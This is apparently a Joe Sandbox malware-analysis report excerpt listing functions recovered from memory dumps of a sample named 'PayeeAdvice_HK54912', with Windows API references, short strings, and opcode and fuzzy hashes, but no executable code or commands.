Function 00160CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LR]q, xrefs: 00160F19

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: LR]q
API String ID: 0-3081347316
Opcode ID: a5d5e19974fec895b5b96b3e75b9ead9dfd312172ead874996980988e990c68e
Instruction ID: 5586c49009c7e1b81c04ba5e78e49c5c9554209be89e7f87bbf988e8bbc91c44
Opcode Fuzzy Hash: a5d5e19974fec895b5b96b3e75b9ead9dfd312172ead874996980988e990c68e
Instruction Fuzzy Hash: FD52C874A00619CFCB64DF74DD94A9DBBB2FB99301F2055A9E409A7760DB306E86CF80

Function 3B0065A4 Relevance: 1.6, APIs: 1, Instructions: 118COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3B0066C2

Memory Dump Source

Source File: 00000004.00000002.3354001075.000000003B000000.00000040.00000800.00020000.00000000.sdmp, Offset: 3B000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3b000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: 32b4e7a19f9bdfea0b27618e6df7a34a07bf68830d4e90569312b486c7e37273
Instruction ID: 38a8fd44c8136c904749cad5a85092ae81c86ca063beea777e9498ae4c34be4b
Opcode Fuzzy Hash: 32b4e7a19f9bdfea0b27618e6df7a34a07bf68830d4e90569312b486c7e37273
Instruction Fuzzy Hash: D451E3B1D00349DFDB14CF99C984ADEBFB2BF48310F64816AE819AB210DB759845CF90

Function 3B0065B0 Relevance: 1.6, APIs: 1, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,0000000C,?,?,?,?,?), ref: 3B0066C2

Memory Dump Source

Source File: 00000004.00000002.3354001075.000000003B000000.00000040.00000800.00020000.00000000.sdmp, Offset: 3B000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3b000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fe2780d67538b81621ff1ceee69a50818476c14ced6d0840c1c992d5b49b3ad4
Instruction ID: c9bcaad1599f637fbfb5cff8f656644f8b7132cac4e4d9e87895b0a368decc96
Opcode Fuzzy Hash: fe2780d67538b81621ff1ceee69a50818476c14ced6d0840c1c992d5b49b3ad4
Instruction Fuzzy Hash: 9241C1B1D00349DFDB14CF99C984ADEBFB6BF48310F64816AE819AB210DB75A845CF91

Function 3B003CB4 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 3B008DB1

Memory Dump Source

Source File: 00000004.00000002.3354001075.000000003B000000.00000040.00000800.00020000.00000000.sdmp, Offset: 3B000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3b000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: a178355fd02e8099da86d50b930d4b0ac5e27d5fe8e584f514327b5f1da9d4cf
Instruction ID: 7c9bc5886d4ec2922484b65026a7987cfb0d84931e4bb300325f50ccb00665ae
Opcode Fuzzy Hash: a178355fd02e8099da86d50b930d4b0ac5e27d5fe8e584f514327b5f1da9d4cf
Instruction Fuzzy Hash: 694149B9900305DFDB14CF99C488A9ABBF5FF88310F24C59AE519A7321DB34A841CFA1

Function 3A99B678 Relevance: 1.6, APIs: 1, Instructions: 65COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A99B707

Memory Dump Source

Source File: 00000004.00000002.3353733702.000000003A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a990000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 9ece54a8e01e62cffcf0e8d888c50807c5d9c0966725940d4d0548f526f89922
Instruction ID: aa06fd0f992f4859765fe148ee4cbad7f92883cb4e0dbeedd86777f348c5b170
Opcode Fuzzy Hash: 9ece54a8e01e62cffcf0e8d888c50807c5d9c0966725940d4d0548f526f89922
Instruction Fuzzy Hash: 3F2103B5D00249AFDB10CFAAD584AEEBFF5EB48310F24805AE858A3310D378A951CF61

Function 3A99B680 Relevance: 1.6, APIs: 1, Instructions: 62COMMON

Download Yara Rule

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 3A99B707

Memory Dump Source

Source File: 00000004.00000002.3353733702.000000003A990000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a990000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 3c125c44792c77e2ef14277566812347c279413220cd13b71a481de6d3fe5cbd
Instruction ID: f0443753bca62ac717b2b32d6fef5db9ff6c6977eed84fe42cb65cc5f443b7b5
Opcode Fuzzy Hash: 3c125c44792c77e2ef14277566812347c279413220cd13b71a481de6d3fe5cbd
Instruction Fuzzy Hash: 3321C4B5D00249AFDB10CFAAD584ADEBFF8EB48310F14841AE919A3310D378A954CFA5

Function 3B00A3A0 Relevance: 1.5, APIs: 1, Instructions: 46comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3B00B28D

Memory Dump Source

Source File: 00000004.00000002.3354001075.000000003B000000.00000040.00000800.00020000.00000000.sdmp, Offset: 3B000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3b000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 603d69ee75f0822b51a4f61a22544093e5ca8157bddd0cc1171d018654c60ba9
Instruction ID: db3fbbb84d2346ee199259362d088d8e8c855f4846aaed22deb66ae16e8a1f45
Opcode Fuzzy Hash: 603d69ee75f0822b51a4f61a22544093e5ca8157bddd0cc1171d018654c60ba9
Instruction Fuzzy Hash: D31142B1D003488FDB20DF9AD549B9EBBF4EB48320F20845AE519A7300C778A941CFA6

Function 3B00B237 Relevance: 1.5, APIs: 1, Instructions: 43comCOMMON

Download Yara Rule

APIs

OleInitialize.OLE32(00000000), ref: 3B00B28D

Memory Dump Source

Source File: 00000004.00000002.3354001075.000000003B000000.00000040.00000800.00020000.00000000.sdmp, Offset: 3B000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3b000000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 35cc92d917b274b2a98098fa8660396c52642fcff0bd77ee6899fc0cd4053406
Instruction ID: 9a5d46e7fd817f781f8a6ec7bfd4ff8f8ceea55702adae290cf6708baa24c72a
Opcode Fuzzy Hash: 35cc92d917b274b2a98098fa8660396c52642fcff0bd77ee6899fc0cd4053406
Instruction Fuzzy Hash: 691112B5C002498FDB20CFAAD585BDEBFF4AB48320F248459D459A3200C775A545CFA5

Function 3A80D700 Relevance: 1.4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

PEY7, xrefs: 3A80D75D, 3A80D7B2, 3A80D7EC, 3A80D8AB, 3A80D95F

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: PEY7
API String ID: 0-1339874439
Opcode ID: b9a78445b85f87d7e1b1f0286cc7fd569e39f3275fdc6199a5f96c0813d29a9d
Instruction ID: 6a27a44574d9bbe0e0e6d12531da213587c53b63a7b780b128bdb8f8b8443b31
Opcode Fuzzy Hash: b9a78445b85f87d7e1b1f0286cc7fd569e39f3275fdc6199a5f96c0813d29a9d
Instruction Fuzzy Hash: FB819074E412689FDB65DF69CD51BDDBBB2AF89300F1080EAD848A7251EB315E81CF40

Function 39EF4790 Relevance: 1.4, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

Haq, xrefs: 39EF4825

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: eb34582da841d21c19a7fad0eb24fb170860834ba69473ab90fa50f22401a209
Instruction ID: 4ad68d3e72e9647f1d4970aec623a717578b0fc99a29f6b04285de9fd4d5bab0
Opcode Fuzzy Hash: eb34582da841d21c19a7fad0eb24fb170860834ba69473ab90fa50f22401a209
Instruction Fuzzy Hash: 3731B531B042489FCB45EFB8D9599AE7BF6AFC9341B1040BEE509D7291EA318E02C791

Function 3A80E588 Relevance: 1.3, Strings: 1, Instructions: 98COMMON

Download Yara Rule

Strings

|nP7, xrefs: 3A80E5F3

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: |nP7
API String ID: 0-1088609865
Opcode ID: c6970480f78e20be2ed11e823026fe9b9b295b4e55d8f5b9e4463c4da4d12c2b
Instruction ID: 4cd0ce3785a08fb86c07cd391747c42356265dc4de1b377644adef80cb614217
Opcode Fuzzy Hash: c6970480f78e20be2ed11e823026fe9b9b295b4e55d8f5b9e4463c4da4d12c2b
Instruction Fuzzy Hash: A531753570825ABFDB15DB78EC8042FBBA2BF41244B0945A6E078CB651DB30DD42CF82

Function 3A81FB21 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

t, xrefs: 3A81FB21

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: d8c44f11a7d3ee95477d6312e9c13b29239670dd7394d0164b67f62212a17966
Instruction ID: ededeb20534bf2f4a14cceaad19d20f9a9f272bb192497cf4a634e4a8aeb4709
Opcode Fuzzy Hash: d8c44f11a7d3ee95477d6312e9c13b29239670dd7394d0164b67f62212a17966
Instruction Fuzzy Hash: 9E310274E056088FDB08DFBAD8406EDBBB2BF89300F14D12AD419BB295DB349946CF55

Function 39EF48D0 Relevance: 1.3, Strings: 1, Instructions: 91COMMON

Download Yara Rule

Strings

Haq, xrefs: 39EF492E

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: Haq
API String ID: 0-725504367
Opcode ID: d98a179e4c14f1b6243f64ef22da73cfad75bb61bc1ab458508e525cc77c5ede
Instruction ID: 2a2c49759e83ed2a92f780f7bb083f976f16e1da0dede4e5aef591c69d1413a1
Opcode Fuzzy Hash: d98a179e4c14f1b6243f64ef22da73cfad75bb61bc1ab458508e525cc77c5ede
Instruction Fuzzy Hash: 86310231708285AFCB05AF78C8149AD7FB6FFCA340F1580AAD5428B6A2DB318E55CB50

Function 00162790 Relevance: 1.3, Strings: 1, Instructions: 88COMMON

Download Yara Rule

Strings

F, xrefs: 001627BF

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: F
API String ID: 0-2730988801
Opcode ID: 17653c145a4f9731d49b2b1cffd2cbd6929586e7c64821f2f0a29dcba6cfe82c
Instruction ID: 34ea13f2fe8977cd47a1f4339f95791ffd494544388ae494efcbef91dfb3a155
Opcode Fuzzy Hash: 17653c145a4f9731d49b2b1cffd2cbd6929586e7c64821f2f0a29dcba6cfe82c
Instruction Fuzzy Hash: FA313874D052498FCB05DFB8D8046EDBFF4EF4A300F1551AAD444E7261EB341A95CBA2

Function 001662F0 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

3"7, xrefs: 001662F0

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: 3"7
API String ID: 0-3328401908
Opcode ID: a96cc22a4b589ff503b87c49e496749733d0e75a97462d6f8d91ad58403000bb
Instruction ID: f516c3ba1df41ed75b723e2943a89118659ec5a7f3f788835076a4f3f92e4c2a
Opcode Fuzzy Hash: a96cc22a4b589ff503b87c49e496749733d0e75a97462d6f8d91ad58403000bb
Instruction Fuzzy Hash: AF11E9357055118FC7195B2ADCA493EBBA2FFC97513194079E40ADB765CF31DC028B90

Function 0016F640 Relevance: 1.3, Strings: 1, Instructions: 60COMMON

Download Yara Rule

Strings

$EY7PEY7, xrefs: 0016F6D3

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: $EY7PEY7
API String ID: 0-1479923497
Opcode ID: 7310dc2b6533e3c4d16ab4ea03222a3155f0ec144fcfe9d1f7432a89ca4bdf48
Instruction ID: 36af1092cc33f4909f9d30f78a620e6422b60b814d325be1b0d4eca4ad20df98
Opcode Fuzzy Hash: 7310dc2b6533e3c4d16ab4ea03222a3155f0ec144fcfe9d1f7432a89ca4bdf48
Instruction Fuzzy Hash: A42162B0D042099FDB05EFA9C84069EBFF2FB81300F10C5AAD0589B261E7749A168F81

Function 0016F650 Relevance: 1.3, Strings: 1, Instructions: 54COMMON

Download Yara Rule

Strings

$EY7PEY7, xrefs: 0016F6D3

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID: $EY7PEY7
API String ID: 0-1479923497
Opcode ID: 6301c810f25eff626d7e18068a932338357a2e202eaab175f9f7fbd77dcbe615
Instruction ID: 53f61f2422d06ec0c23a79ad292a2357a1486c1c60d24d9b41a9542f604a5a89
Opcode Fuzzy Hash: 6301c810f25eff626d7e18068a932338357a2e202eaab175f9f7fbd77dcbe615
Instruction Fuzzy Hash: C4111FB0D0010EDFDB44EFE9D94069EBBF2FB85304F10D5A9E058AB261EB745A568F81

Function 0016E018 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab1fa8de9d1d8f20196b62549490feea9debdfb09569bbe5627c7b20cf7d4762
Instruction ID: f2e5963f49b8b3bf034fd642b078c7e7adaa245d979f3307fdfe8dce8c86ca6e
Opcode Fuzzy Hash: ab1fa8de9d1d8f20196b62549490feea9debdfb09569bbe5627c7b20cf7d4762
Instruction Fuzzy Hash: 9412A834421653DFE2402B60EEAC12E7BA1FB5F727710AD24F10FC1865AB7546DACB62

Function 00169A10 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11704e21ed1fb187432d1545e4f5dc98ed576fb60b99211a7a64203db73c7dc8
Instruction ID: a87587241915ec657285970e9359571a4abe3808d84acaad5f2c1457147ff6d2
Opcode Fuzzy Hash: 11704e21ed1fb187432d1545e4f5dc98ed576fb60b99211a7a64203db73c7dc8
Instruction Fuzzy Hash: AF9148315046458FCB11CF6CCC808AABFF9EF85321B15C6A6D858D7352D331E866CBA1

Function 001680D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ebd8bd400046bf48eb6e7d029db2425fae2f4eac5262023b4326557f65d258d
Instruction ID: 6708d920f0c971fdc8f59c43941d784bcc623b5b857df2ec62fc50cfaf8e7108
Opcode Fuzzy Hash: 9ebd8bd400046bf48eb6e7d029db2425fae2f4eac5262023b4326557f65d258d
Instruction Fuzzy Hash: 54713A347006058FCB15DF68CCA4A6E7BE6AF9A340B1941A9E806DB371DF70DC51CB51

Function 39EF4A68 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353184341.0000000039EF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39EF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39ef0000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd632a60bcf0feba6777631506a953e22dd8f47bb0c31717bf19a4525bac8ff7
Instruction ID: 09031d19136fc3bb6e74723068f26688cd94acd5fdf9038ddb274cb2302c9492
Opcode Fuzzy Hash: fd632a60bcf0feba6777631506a953e22dd8f47bb0c31717bf19a4525bac8ff7
Instruction Fuzzy Hash: 955114767046029FD7048A68DC59AABBBA9FBC9324B11852FE41AC7751E732E801CB90

Function 3A80D410 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c1b6bcb14a575a7ba63a9cba0b619bc85100e72a3cdb34d8abd977a4d8daf7a
Instruction ID: d327c6ad2587ae7c0be9c7768b611e94e93b37e3821b7f1784e5361074c4c004
Opcode Fuzzy Hash: 8c1b6bcb14a575a7ba63a9cba0b619bc85100e72a3cdb34d8abd977a4d8daf7a
Instruction Fuzzy Hash: B671C074E01218DFDB14DFA5C990ADDBBB2BF89304F20912AD419BB355DB35A942CF50

Function 3A8073E0 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10db189e000dbf8717a2308e3c8c5c7f8ca5f35cf350583a07905f3930278ef3
Instruction ID: 6c328659348525f6065772400b6560bcbbcfae1a4dd9543041f42308774ff39e
Opcode Fuzzy Hash: 10db189e000dbf8717a2308e3c8c5c7f8ca5f35cf350583a07905f3930278ef3
Instruction Fuzzy Hash: 3171DF74E00218DFDB14DFA9C990ADDBBB2BF89300F24912AD419BB354DB359982CF50

Function 3A8121B8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0a49fbe9b4b9b90b3850732fd002b3eb1e4c482631183b334c51436f13d01dc
Instruction ID: e4f2065c4512bb4b0a76b7c3c83b36dd8fda98ac972f233dc598ff6c2dc7a007
Opcode Fuzzy Hash: a0a49fbe9b4b9b90b3850732fd002b3eb1e4c482631183b334c51436f13d01dc
Instruction Fuzzy Hash: 0471A174E10218CFDB18DFA9C990ADDBBB2BF89300F24912AD419BB355EB359946CF50

Function 3A8181E8 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0608b31b89a1145cdb66efe640ff678daad03e29b353a17f546a058e6ce43c88
Instruction ID: f9c50d3121c056511b0c3cb9511d84b35b18bd75473c787cd78d5633ac83222a
Opcode Fuzzy Hash: 0608b31b89a1145cdb66efe640ff678daad03e29b353a17f546a058e6ce43c88
Instruction Fuzzy Hash: 7871C174E10218CFDB14DFA9C991ADDBBB2BF89300F24912AD409BB355DB35A942CF50

Function 3A814A38 Relevance: .2, Instructions: 171COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353627350.000000003A810000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A810000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a810000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3521fa9bd287ba0cb3a72a398a084c36af5369165101f609652f0568ca75501f
Instruction ID: 7e0711977cd4a9daf4ab1766aedb061561ba754cb9d0252560cf7f41f222f45e
Opcode Fuzzy Hash: 3521fa9bd287ba0cb3a72a398a084c36af5369165101f609652f0568ca75501f
Instruction Fuzzy Hash: B771BFB4E10218CFDB14DFA9C990ADDBBB2BF89300F24912AD419BB355DB35A946CF50

Function 0016F71F Relevance: .2, Instructions: 154COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8763339a2850c981083cb2ffc7431e872e8f67aef8b200aad4d9e205b6ec9042
Instruction ID: 2d606df9bda588f0ef4cc248122cdd7db586a60f5c32206720caa6da1cd3d434
Opcode Fuzzy Hash: 8763339a2850c981083cb2ffc7431e872e8f67aef8b200aad4d9e205b6ec9042
Instruction Fuzzy Hash: 1B611174E11219DFDB14CFA5C844BADBBB2FF89304F208129E809AB355DB355A86CF41

Function 3A80FB37 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b81231cdee16b00ba89a2f3713966c80abab9f7688c03edeb26ab08f08f09c3
Instruction ID: 1fe7c3897ae8a4377107075ee9be840d1541bc55e834d5c0281000cbe0c7acae
Opcode Fuzzy Hash: 3b81231cdee16b00ba89a2f3713966c80abab9f7688c03edeb26ab08f08f09c3
Instruction Fuzzy Hash: EF51F474D05218DFDB40DFA5D9547EDBBF2AF49300F24902AE808B7290D7345A46CF54

Function 0016D548 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 751b39bb89d31b97d8293b52337be82e186dda4e5759f7cf915cf28ec5dafbb1
Instruction ID: f75a645605ebd08fc46054807e74cce6c5e270b5b484ca9c6f6b24ffd66ab185
Opcode Fuzzy Hash: 751b39bb89d31b97d8293b52337be82e186dda4e5759f7cf915cf28ec5dafbb1
Instruction Fuzzy Hash: 65519174E01218DFDB48DFA9D9849DDBBF2BF89310F248169E809AB365DB30A901CF40

Function 001641A0 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 09ca4edffa2d0a6a3a6cfba029fd6906721083d49b0e27f93135abff190d5a52
Instruction ID: 2efa67e5ed33277d78bed047d39272f39ab46c35ea01a500125d223f3b04d662
Opcode Fuzzy Hash: 09ca4edffa2d0a6a3a6cfba029fd6906721083d49b0e27f93135abff190d5a52
Instruction Fuzzy Hash: 75519674E01218CFCB58DFB9D88499DBBB2FF89300B209069E419BB324DB359942CF50

Function 0016A303 Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69b4b70fae9e5ff14224cd9d7847e69f5f1124f0df11e319a7e2c23a181ebf9b
Instruction ID: c30f5d2ad415eb8eb7d25cc948b7aef38621cf4b1b78fcd62f32409a880f3f99
Opcode Fuzzy Hash: 69b4b70fae9e5ff14224cd9d7847e69f5f1124f0df11e319a7e2c23a181ebf9b
Instruction Fuzzy Hash: 8141CE31A04259DFCF15CFA8CC44AADBFB2BF49310F448155E805AB2A2D370E964CF62

Function 3A80FB48 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3353601159.000000003A800000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A800000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a800000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 659e0c82897697cd370968b9945b1a7618ad892f9213c370a7edd3e3647d9f83
Instruction ID: c04ddde6e15940fdd0b0de9c403de50f7b274809d9aadde196762ae27e8af406
Opcode Fuzzy Hash: 659e0c82897697cd370968b9945b1a7618ad892f9213c370a7edd3e3647d9f83
Instruction Fuzzy Hash: 9C41CF74E01218DFDB44DFA5C9947EDBBF2BB89300F24912AE809B72A4DB345A46CF50

Function 00169C30 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e9f4bafb18e9a0289df5ac9e00fbbd786d5ed26e93b8bd22dff3f00125833c9
Instruction ID: 1a655f9b6d4ee6829f99d60e9dc026940667c6b28d1d75a1eb5083c6ce1a0aa7
Opcode Fuzzy Hash: 3e9f4bafb18e9a0289df5ac9e00fbbd786d5ed26e93b8bd22dff3f00125833c9
Instruction Fuzzy Hash: 4641B2307002458FDB01DFA8CC84BAA7BEAEF8A315F54C466E908CB256D731DD51DBA1

Function 00165658 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3323217994.0000000000160000.00000040.00000800.00020000.00000000.sdmp, Offset: 00160000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_160000_PayeeAdvice_HK54912_R0038704_37504.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 47296a65581fc120568f01977bac04d9faf03827ae97a39be95227a61506e7a7
Instruction ID: a6dcdcbd236a0d45b01170dff4b3eab4ba32313587ff325bea9cbd7437b45373
Opcode Fuzzy Hash: 47296a65581fc120568f01977bac04d9faf03827ae97a39be95227a61506e7a7
